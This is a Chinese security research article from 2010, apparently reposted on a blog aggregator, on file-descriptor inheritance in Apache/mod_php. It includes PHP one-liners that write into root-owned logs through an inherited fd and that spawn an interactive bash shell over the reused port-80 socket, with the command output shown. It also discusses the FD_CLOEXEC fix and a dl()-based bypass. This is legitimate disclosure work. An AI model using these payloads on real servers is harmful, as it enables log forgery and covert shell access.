IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

Linux 系统文件描述符继承带来的危害

80sec 2011-01-26 21:19:54 累计浏览 3,713 次
本机暂存

Linux 系统文件描述符继承带来的危害

EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20

[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话

0×00 前言

在初学linux编程的时候,都会知道这样一个概念:当你用fork建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体,除了pid不同,其余一切相同。
再试想一下这样的场景:在Webserver中,首先会使用root权限启动,以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户,fork出一些worker进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD,那么子进程中运行的PHP或其他脚本只需要继续操作这些FD,就能够使用普通权限“越权”操作root用户才能操作的文件。

0×01 POC

为了验证这个想法,我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14
首先我们查看任意一个apache的worker进程的fd:

[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log

lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd

如上所示,果然在apache的子进程中保存了日志的句柄,apache自身是daemon权限,而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。

<?php system("echo 12345 >&6");?>

访问一下,看看是不是的确将12345写入到了root的errorlog中。

[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log

很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志,那么以后所有的Web日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。

0×02 深入利用

换一种思路,既然文件可以读写,那么webserver的80端口socket是否也能加以利用呢?linux系统所有都是文件,既然都是FD,肯定也能适用。首先找一下我们连接的FD号,我这里测试时写死为9,因为肯定是第一个连接:

<?php
system("python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&9 0>&9 2>&9 ;" );
?>

接着我们用nc访问一下我们的脚本:

C:\Users\GaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html

可见成功复用了我们连接服务器的socket,直接nc提交一个GET请求之后就返回了一个交互式的shell。这一切只需要一个简单的webshell即可完成。
利用80端口的socket复用,我们继续下去可以做穿墙等一系列更为猥琐的事情。

0×03 解决方案及后话

通过上文的分析,我们了解到,利用linux特性FD的继承,将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞,不仅仅是apache,不仅仅是webserver,可能其他的网络应用都会存在类似的漏洞。
实际上Linux系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是:close_on_exec。当父进程打开文件时,只需要应用程序设置FD_CLOSEXEC标志位,则当fork后exec其他程序的时候,内核自动会将其继承的父进程FD关闭。
这样就解决了以上说明的问题,因为当你system其他进程时,所有的fd将不再继承,则无法再利用。而你作为较低权限的进程,也无法自己打开这些文件,所有操作都会报告权限不足。
在撰写此文时,发现Apache已经意识到了此安全问题,并在最近的版本中修复了,对所有打开的FD都加入了FD_CLOSEXEC标识符。参见:https://issues.apache.org/bugzilla/show_bug.cgi?id=46425
但是(是的,还有但是),这个解决方案并不完美。内核认为,只有你在fork后再执行exec调用时,才会帮你去除这些继承的FD,而如果我一切操作都在exec之前完成,那所有的保护都将是浮云。如何做到这一切?如果php自身是通过mod_php加载入apache自身的进程空间,而通过PHP的ld函数,又可以加载一个动态链接库进入本进程上下文。这样,由于没有进行exec,因此fd依旧继承,在so中写入代码操作FD,同样可以读写修改日志文件,或者复用socket。
那如何完美的解决此问题呢?我想除非只有apache修改自身架构,子进程和主进程交互,告知每次访问的结果和数据,主进程负责写日志和输出结果。这样无需在子进程中留下任何文件句柄,单单负责脚本解析即可。子进程交给主进程的信息可能是假的,然而这样至少不能影响到之前的信息。

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. Linux如何统计进程的CPU利用率 (累计阅读 16,308)
  2. 我的 RHCA 之路 (累计阅读 14,013)
  3. Linux内存点滴 用户进程内存空间 (累计阅读 13,232)
  4. 给程序员新手的一些建议 (累计阅读 13,089)
  5. Linux 性能监控、测试、优化工具 (累计阅读 13,012)
  6. 关于linux内存free的一些事情 (累计阅读 12,869)
  7. ps - 按进程消耗内存多少排序 (累计阅读 12,690)
  8. Google怎么用linux (累计阅读 12,581)
  9. Linux Used内存到底哪里去了? (累计阅读 11,868)
  10. find命令的一点注意事项 (累计阅读 11,867)